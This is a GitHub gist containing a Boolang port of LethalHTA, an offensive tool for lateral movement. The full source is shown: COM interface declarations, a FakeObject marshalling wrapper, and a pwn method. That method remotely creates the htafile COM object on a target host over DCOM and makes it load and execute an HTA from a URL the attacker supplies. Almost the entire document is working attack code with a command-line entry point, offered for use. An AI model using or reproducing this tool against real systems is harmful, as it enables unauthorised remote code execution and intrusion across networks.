Skip to content

Instantly share code, notes, and snippets.

@byt3bl33d3r
Last active September 14, 2019 02:16
Show Gist options
  • Save byt3bl33d3r/5a19030da397ce5a003f35e5a90c287d to your computer and use it in GitHub Desktop.
Save byt3bl33d3r/5a19030da397ce5a003f35e5a90c287d to your computer and use it in GitHub Desktop.
Boolang port of LethalHTA (https://github.com/codewhitesec/LethalHTA)
import System
import System.Runtime.CompilerServices
import System.Runtime.InteropServices
import System.Runtime.InteropServices.ComTypes
public struct FILETIME:
public dwLowDateTime as int
public dwHighDateTime as int
public struct ULARGE_INTEGER:
public QuadPart as ulong
[ComImport]
[Guid("0000010C-0000-0000-C000-000000000046")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IPersist:
[MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
def GetClassID(ref pClassID as Guid) as int
[ComImport]
[Guid("00000109-0000-0000-C000-000000000046")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IPersistStream(IPersist):
[MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
def GetClassID(ref pClassID as Guid) as int
[MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
def IsDirty() as int
[MethodImpl(MethodImplOptions.InternalCall)]
def Load([In] [MarshalAs(UnmanagedType.Interface)] pstm as IStream)
[MethodImpl(MethodImplOptions.InternalCall)]
def Save([In] [MarshalAs(UnmanagedType.Interface)] pstm as IStream, [In] fClearDirty as int)
[MethodImpl(MethodImplOptions.InternalCall)]
def GetSizeMax([Out] [MarshalAs(UnmanagedType.LPArray)] pcbSize as (ULARGE_INTEGER))
[ComImport]
[Guid("0000000F-0000-0000-C000-000000000046")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IMoniker(IPersistStream):
[MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
def GetClassID(ref pClassID as Guid) as int
[MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
def IsDirty() as int
[MethodImpl(MethodImplOptions.InternalCall)]
def Load([In] [MarshalAs(UnmanagedType.Interface)] pstm as IStream)
[MethodImpl(MethodImplOptions.InternalCall)]
def Save([In] [MarshalAs(UnmanagedType.Interface)] pstm as IStream, [In] fClearDirty as int)
[MethodImpl(MethodImplOptions.InternalCall)]
def GetSizeMax([Out] [MarshalAs(UnmanagedType.LPArray)] pcbSize as (ULARGE_INTEGER))
[MethodImpl(MethodImplOptions.InternalCall)]
def BindToObject([In] [MarshalAs(UnmanagedType.Interface)] pbc as IBindCtx, [In] [MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [In] ref riidResult as Guid, [MarshalAs(UnmanagedType.IUnknown)] ref ppvResult as object)
[MethodImpl(MethodImplOptions.InternalCall)]
def BindToStorage([In] [MarshalAs(UnmanagedType.Interface)] pbc as IBindCtx, [In] [MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [In] ref riid as Guid, [MarshalAs(UnmanagedType.IUnknown)] ref ppvObj as object)
[MethodImpl(MethodImplOptions.InternalCall)]
def Reduce([In] [MarshalAs(UnmanagedType.Interface)] pbc as IBindCtx, [In] dwReduceHowFar as uint, [In] [Out] [MarshalAs(UnmanagedType.Interface)] ref ppmkToLeft as IMoniker, [MarshalAs(UnmanagedType.Interface)] ref ppmkReduced as IMoniker)
[MethodImpl(MethodImplOptions.InternalCall)]
def ComposeWith([In] [MarshalAs(UnmanagedType.Interface)] pmkRight as IMoniker, [In] fOnlyIfNotGeneric as int, [MarshalAs(UnmanagedType.Interface)] ref ppmkComposite as IMoniker)
[MethodImpl(MethodImplOptions.InternalCall)]
def Enum([In] fForward as int, [MarshalAs(UnmanagedType.Interface)] ref ppenumMoniker as IEnumMoniker)
[MethodImpl(MethodImplOptions.InternalCall)]
def IsEqual([In] [MarshalAs(UnmanagedType.Interface)] pmkOtherMoniker as IMoniker)
[MethodImpl(MethodImplOptions.InternalCall)]
def Hash( ref pdwHash as uint)
[MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
def IsRunning([In] [MarshalAs(UnmanagedType.Interface)] pbc as IBindCtx, [In] [MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [In] [MarshalAs(UnmanagedType.Interface)] pmkNewlyRunning as IMoniker) as int
[MethodImpl(MethodImplOptions.InternalCall)]
def GetTimeOfLastChange([In] [MarshalAs(UnmanagedType.Interface)] pbc as IBindCtx, [In] [MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [Out] [MarshalAs(UnmanagedType.LPArray)] pFileTime as (FILETIME))
[MethodImpl(MethodImplOptions.InternalCall)]
def Inverse([MarshalAs(UnmanagedType.Interface)] ref ppmk as IMoniker)
[MethodImpl(MethodImplOptions.InternalCall)]
def CommonPrefixWith([In] [MarshalAs(UnmanagedType.Interface)] pmkOther as IMoniker, [MarshalAs(UnmanagedType.Interface)] ref ppmkPrefix as IMoniker)
[MethodImpl(MethodImplOptions.InternalCall)]
def RelativePathTo([In] [MarshalAs(UnmanagedType.Interface)] pmkOther as IMoniker, [MarshalAs(UnmanagedType.Interface)] ref ppmkRelPath as IMoniker)
[MethodImpl(MethodImplOptions.InternalCall)]
def GetDisplayName([In] [MarshalAs(UnmanagedType.Interface)] pbc as IBindCtx, [In] [MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [MarshalAs(UnmanagedType.LPWStr)] ref ppszDisplayName as string)
[MethodImpl(MethodImplOptions.InternalCall)]
def ParseDisplayName([In] [MarshalAs(UnmanagedType.Interface)] pbc as IBindCtx, [In] [MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [In] [MarshalAs(UnmanagedType.LPWStr)] pszDisplayName as string, ref pchEaten as uint, [MarshalAs(UnmanagedType.Interface)] ref ppmkOut as IMoniker)
[MethodImpl(MethodImplOptions.InternalCall)]
def IsSystemMoniker( ref pdwMksys as uint)
[ComImport]
[Guid("00000003-0000-0000-C000-000000000046")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComConversionLoss]
public interface IMarshal:
[MethodImpl(MethodImplOptions.InternalCall)]
def GetUnmarshalClass([In] ref riid as Guid, [In] pv as IntPtr, [In] dwDestContext as uint, [In] pvDestContext as IntPtr, [In] MSHLFLAGS as uint, ref pCid as Guid)
[MethodImpl(MethodImplOptions.InternalCall)]
def GetMarshalSizeMax([In] ref riid as Guid, [In] pv as IntPtr, [In] dwDestContext as uint, [In] pvDestContext as IntPtr, [In] MSHLFLAGS as uint, ref pSize as uint)
[MethodImpl(MethodImplOptions.InternalCall)]
def MarshalInterface([In] [MarshalAs(UnmanagedType.Interface)] pstm as IStream, [In] ref riid as Guid, [In] pv as IntPtr, [In] dwDestContext as uint, [In] pvDestContext as IntPtr, [In] MSHLFLAGS as uint)
[MethodImpl(MethodImplOptions.InternalCall)]
def UnmarshalInterface([In] [MarshalAs(UnmanagedType.Interface)] pstm as IStream, [In] ref riid as Guid, ref ppv as IntPtr)
[MethodImpl(MethodImplOptions.InternalCall)]
def ReleaseMarshalData([In] [MarshalAs(UnmanagedType.Interface)] pstm as IStream)
[MethodImpl(MethodImplOptions.InternalCall)]
def DisconnectObject([In] dwReserved as uint)
[Guid("79EAC9C9-BAF9-11CE-8C82-00AA004BA90B")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IPersistMoniker:
def GetClassID(ref p0 as Guid)
def IsDirty()
def Load(fFullyAvailable as uint, pimkName as IMoniker, pibc as IBindCtx, grfMode as uint)
def Save(pimkName as IMoniker, pbc as IBindCtx, fRemember as uint)
def SaveCompleted(pimkName as IMoniker, pibc as IBindCtx)
def GetCurMoniker(ref ppimkName as IMoniker)
public static class ComUtils:
public static IID_IUnknownPtr as IntPtr = GuidToPointer("00000000-0000-0000-C000-000000000046")
public static def GuidToPointer(guid as string) as IntPtr:
g as Guid = Guid(guid)
ret as IntPtr = Marshal.AllocCoTaskMem(16)
Marshal.Copy(g.ToByteArray(), 0, ret, 16)
return ret
[Flags]
public enum CLSCTX:
CLSCTX_INPROC_SERVER = 0x1
CLSCTX_INPROC_HANDLER = 0x2
CLSCTX_LOCAL_SERVER = 0x4
CLSCTX_INPROC_SERVER16 = 0x8
CLSCTX_REMOTE_SERVER = 0x10
CLSCTX_INPROC_HANDLER16 = 0x20
CLSCTX_RESERVED1 = 0x40
CLSCTX_RESERVED2 = 0x80
CLSCTX_RESERVED3 = 0x100
CLSCTX_RESERVED4 = 0x200
CLSCTX_NO_CODE_DOWNLOAD = 0x400
CLSCTX_RESERVED5 = 0x800
CLSCTX_NO_CUSTOM_MARSHAL = 0x1000
CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000
CLSCTX_NO_FAILURE_LOG = 0x4000
CLSCTX_DISABLE_AAA = 0x8000
CLSCTX_ENABLE_AAA = 0x10000
CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000
CLSCTX_ACTIVATE_32_BIT_SERVER = 0x40000
CLSCTX_ACTIVATE_64_BIT_SERVER = 0x80000
CLSCTX_INPROC = CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER
CLSCTX_SERVER = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_REMOTE_SERVER
CLSCTX_ALL = CLSCTX_SERVER | CLSCTX_INPROC_HANDLER
[DllImport("urlmon.dll")]
public static def CreateURLMonikerEx(punk as IntPtr, [MarshalAs(UnmanagedType.LPWStr)] pszDisplayName as string, ref ppmk as IMoniker, flags as uint) as int:
pass
[StructLayout(LayoutKind.Sequential)]
public struct MULTI_QI:
public pIID as IntPtr
[MarshalAs(UnmanagedType.Interface)]
public pItf as object
public hr as int
[StructLayout(LayoutKind.Sequential)]
public class COSERVERINFO:
public dwReserved1 as uint
[MarshalAs(UnmanagedType.LPWStr)]
public pwszName as string
public pAuthInfo as IntPtr
public dwReserved2 as uint
[DllImport("ole32.dll")]
public static def CoCreateInstanceEx([In, MarshalAs(UnmanagedType.LPStruct)] rclsid as Guid, [MarshalAs(UnmanagedType.IUnknown)] pUnkOuter as object, dwClsCtx as CLSCTX, pServerInfo as COSERVERINFO, cmq as uint, [In, Out] pResults as (MULTI_QI)):
pass
[ComVisible(true)]
class FakeObject(IMarshal,IMoniker):
private _marshal as IMarshal
def constructor(moniker as IMoniker):
_marshal = moniker cast IMarshal
public def GetUnmarshalClass([In] ref riid as Guid, pv as IntPtr, [In] dwDestContext as uint, [In] pvDestContext as IntPtr, [In] MSHLFLAGS as uint, ref pCid as Guid):
_marshal.GetUnmarshalClass(riid, pv, 1, pvDestContext, MSHLFLAGS, pCid)
public def GetMarshalSizeMax([In] ref riid as Guid, [In] pv as IntPtr, [In] dwDestContext as uint, [In] pvDestContext as IntPtr, [In] MSHLFLAGS as uint, ref pSize as uint):
_marshal.GetMarshalSizeMax(riid, pv, 1, pvDestContext, MSHLFLAGS, pSize)
public def MarshalInterface([In, MarshalAs(UnmanagedType.Interface)] pstm as ComTypes.IStream, [In] ref riid as Guid, [In] pv as IntPtr, [In] dwDestContext as uint, [In] pvDestContext as IntPtr, [In] MSHLFLAGS as uint):
_marshal.MarshalInterface(pstm, riid, pv, 1, pvDestContext, MSHLFLAGS)
public def UnmarshalInterface([In, MarshalAs(UnmanagedType.Interface)] pstm as ComTypes.IStream, [In] ref riid as Guid, ref ppv as IntPtr):
_marshal.UnmarshalInterface(pstm, riid, ppv)
public def ReleaseMarshalData([In, MarshalAs(UnmanagedType.Interface)] pstm as ComTypes.IStream):
_marshal.ReleaseMarshalData(pstm)
public def DisconnectObject([In] dwReserved as uint):
_marshal.DisconnectObject(dwReserved)
public def GetClassID(ref pClassID as Guid) as int:
raise NotImplementedException()
public def IsDirty() as int:
raise NotImplementedException()
public def Load([In, MarshalAs(UnmanagedType.Interface)] pstm as ComTypes.IStream):
raise NotImplementedException()
public def Save([In, MarshalAs(UnmanagedType.Interface)] pstm as ComTypes.IStream, [In] fClearDirty as int):
raise NotImplementedException()
public def GetSizeMax([MarshalAs(UnmanagedType.LPArray), Out] pcbSize as (ULARGE_INTEGER)):
raise NotImplementedException()
public def BindToObject([In, MarshalAs(UnmanagedType.Interface)] pbc as ComTypes.IBindCtx, [In, MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [In] ref riidResult as Guid, [MarshalAs(UnmanagedType.IUnknown)] ref ppvResult as object):
raise NotImplementedException()
public def BindToStorage([In, MarshalAs(UnmanagedType.Interface)] pbc as ComTypes.IBindCtx, [In, MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [In] ref riid as Guid, [MarshalAs(UnmanagedType.IUnknown)] ref ppvObj as object):
raise NotImplementedException()
public def Reduce([In, MarshalAs(UnmanagedType.Interface)] pbc as ComTypes.IBindCtx, [In] dwReduceHowFar as uint, [In, MarshalAs(UnmanagedType.Interface), Out] ref ppmkToLeft as IMoniker, [MarshalAs(UnmanagedType.Interface)] ref ppmkReduced as IMoniker):
raise NotImplementedException()
public def ComposeWith([In, MarshalAs(UnmanagedType.Interface)] pmkRight as IMoniker, [In] fOnlyIfNotGeneric as int, [MarshalAs(UnmanagedType.Interface)] ref ppmkComposite as IMoniker):
raise NotImplementedException()
public def Enum([In] fForward as int, [MarshalAs(UnmanagedType.Interface)] ref ppenumMoniker as ComTypes.IEnumMoniker):
raise NotImplementedException()
public def IsEqual([In, MarshalAs(UnmanagedType.Interface)] pmkOtherMoniker as IMoniker):
raise NotImplementedException()
public def Hash(ref pdwHash as uint):
raise NotImplementedException()
public def IsRunning([In, MarshalAs(UnmanagedType.Interface)] pbc as ComTypes.IBindCtx, [In, MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [In, MarshalAs(UnmanagedType.Interface)] pmkNewlyRunning as IMoniker) as int:
raise NotImplementedException()
public def GetTimeOfLastChange([In, MarshalAs(UnmanagedType.Interface)] pbc as ComTypes.IBindCtx, [In, MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [MarshalAs(UnmanagedType.LPArray), Out] pFileTime as (FILETIME)):
raise NotImplementedException()
public def Inverse([MarshalAs(UnmanagedType.Interface)] ref ppmk as IMoniker):
raise NotImplementedException()
public def CommonPrefixWith([In, MarshalAs(UnmanagedType.Interface)] pmkOther as IMoniker, [MarshalAs(UnmanagedType.Interface)] ref ppmkPrefix as IMoniker):
raise NotImplementedException()
public def RelativePathTo([In, MarshalAs(UnmanagedType.Interface)] pmkOther as IMoniker, [MarshalAs(UnmanagedType.Interface)] ref ppmkRelPath as IMoniker):
raise NotImplementedException()
public def GetDisplayName([In, MarshalAs(UnmanagedType.Interface)] pbc as ComTypes.IBindCtx, [In, MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [MarshalAs(UnmanagedType.LPWStr)] ref ppszDisplayName as string):
raise NotImplementedException()
public def ParseDisplayName([In, MarshalAs(UnmanagedType.Interface)] pbc as ComTypes.IBindCtx, [In, MarshalAs(UnmanagedType.Interface)] pmkToLeft as IMoniker, [In, MarshalAs(UnmanagedType.LPWStr)] pszDisplayName as string, ref pchEaten as uint, [MarshalAs(UnmanagedType.Interface)] ref ppmkOut as IMoniker):
raise NotImplementedException()
public def IsSystemMoniker(ref pdwMksys as uint):
raise NotImplementedException()
public class LethalHTA:
static iUnknown as Guid = Guid("00000000-0000-0000-C000-000000000046")
static htafile as Guid = Guid("3050F4D8-98B5-11CF-BB82-00AA00BDCE0B")
public def pwn(target as string, htaUrl as string):
try:
moniker as IMoniker = null
ComUtils.CreateURLMonikerEx(IntPtr.Zero, htaUrl, moniker, 0)
mqi as (ComUtils.MULTI_QI) = (ComUtils.MULTI_QI(),)
mqi[0].pIID = ComUtils.IID_IUnknownPtr
info as ComUtils.COSERVERINFO = ComUtils.COSERVERINFO()
info.pwszName = target
info.dwReserved1 = 0
info.dwReserved2 = 0
info.pAuthInfo = IntPtr.Zero
ComUtils.CoCreateInstanceEx(htafile, null, ComUtils.CLSCTX.CLSCTX_REMOTE_SERVER, info, 1, mqi)
if mqi[0].hr != 0:
print "Creating htafile COM object failed on target"
return
iPersMon as IPersistMoniker = mqi[0].pItf cast IPersistMoniker
fake as FakeObject = FakeObject(moniker)
iPersMon.Load(0, fake, null, 0)
except e as Exception:
print "Exception: $(e)"
public static def Main(argv as (string)):
if argv.Length != 2:
print "LethalHTADotNet.exe target url/to/hta"
return
hta = LethalHTA()
hta.pwn(argv[0], argv[1])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment